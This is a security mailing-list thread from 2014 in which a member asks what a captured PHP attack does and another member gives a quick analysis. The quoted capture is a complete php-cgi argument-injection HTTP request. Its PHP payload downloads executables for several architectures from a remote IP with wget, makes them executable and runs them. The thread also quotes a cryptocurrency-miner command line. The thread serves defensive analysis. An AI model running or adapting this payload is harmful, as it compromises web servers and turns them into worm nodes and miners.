Re: What does this PHP exploit do?

[Pierre Schweitzer <pierre () reactos org>]

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I was about to forget: it also makes sure it is started on each
machine reboot by modifying init ramdisk.

This was done through a quick analysis. It would require deeper one.
Maybe someone already did one?

On 10/10/2014 21:55, Pierre Schweitzer wrote:
> Dear Dave,
>
> Going quickly through the PHP script shows that it downloads lots
> of executables for various architectures to then try to run them
> (hence the chmod +x) on the host it was downloaded. So pretty
> portable worm.
>
> The executable it downloads appears to have two basic functions: ->
> replicating itself over the network -> starting a cryptocurrency
> miner (CPU miner) on the infected host
>
> Here is the way it starts the miner: ./minerd -q -B -a scrypt -o
> http://p2pool.org:5643 -u MDFepZz9SpSbFSugUsXVE3CmrdTaKg1SWi -p
> pass
>
> Cheers, Pierre
>
> On 10/10/2014 21:28, Dave Horsfall wrote:
> > My apologies if this is off-topic for this list, but out of all
> > the security lists of which I am a member this seems to be the
> > closest one that fits, so please point me to a more appropriate
> > one in that case..
>
> > I'm trying to figure out what this exploit does; it started
> > around the time that Shellshock did, but I don't think that
> > they're related.
>
> > It downloads binaries for several architectures (even a MIPS)
> > which amongst other things futzes around with IPTABLES
> > (including blocking the TELNET port) and appears to be
> > self-reproducing.
>
> > The hex-encoded stuff in the script below decodes to
>
> > "-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n"
>
> >
>
> > but my PHP-fu doesn't quite extend that far (and that 
> > "safe_mode=off" looks a bit suss).
>
> > Script below, kindly supplied by 0wned boxes the world over (in 
> > this case, Korea):
>
> > POST 
> > /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (compatible;
> > Zollard; Linux) Content-Type: application/x-www-form-urlencoded 
> > Content-Length: 1817 Connection: close
>
> > <?php echo "Zollard"; $disablefunc = 
> > @ini_get("disable_functions"); if (!empty($disablefunc)) { 
> > $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = 
> > explode(",",$disablefunc); } function myshellexec($cmd) { global 
> > $disablefunc; $result = ""; if (!empty($cmd)) { if 
> > (is_callable("exec") and !in_array("exec",$disablefunc)) 
> > {exec($cmd,$result); $result = join("\n",$result);} elseif 
> > (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system")
> > and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); 
> > @ob_clean(); system($cmd); $result = @ob_get_contents(); 
> > @ob_clean(); echo $v;} elseif (is_callable("passthru") and 
> > !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); 
> > @ob_clean(); passthru($cmd); $result = @ob_get_contents(); 
> > @ob_clean(); echo $v;} elseif (is_resource($fp =
> > popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .=
> > fread($fp,1024);} pclose($fp); } } return $result; }
> > myshellexec("rm -rf /tmp/armeabi;wget -P /tmp
> > http://119.206.52.15:58455/armeabi;chmod +x /tmp/armeabi");
> > myshellexec("rm -rf /tmp/arm;wget -P /tmp 
> > http://119.206.52.15:58455/arm;chmod +x /tmp/arm");
> > myshellexec("rm -rf /tmp/ppc;wget -P /tmp
> > http://119.206.52.15:58455/ppc;chmod +x /tmp/ppc");
> > myshellexec("rm -rf /tmp/mips;wget -P /tmp 
> > http://119.206.52.15:58455/mips;chmod +x /tmp/mips"); 
> > myshellexec("rm -rf /tmp/mipsel;wget -P /tmp 
> > http://119.206.52.15:58455/mipsel;chmod +x /tmp/mipsel"); 
> > myshellexec("rm -rf /tmp/x86;wget -P /tmp 
> > http://119.206.52.15:58455/x86;chmod +x /tmp/x86");
> > myshellexec("rm -rf /tmp/nodes;wget -P /tmp
> > http://119.206.52.15:58455/nodes;chmod +x /tmp/nodes");
> > myshellexec("rm -rf /tmp/sig;wget -P /tmp 
> > http://119.206.52.15:58455/sig;chmod +x /tmp/sig"); 
> > myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
>
> >  -- Dave

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Pierre Schweitzer <pierre at reactos.org>
System & Network Administrator
Senior Kernel Developer
ReactOS Deutschland e.V.
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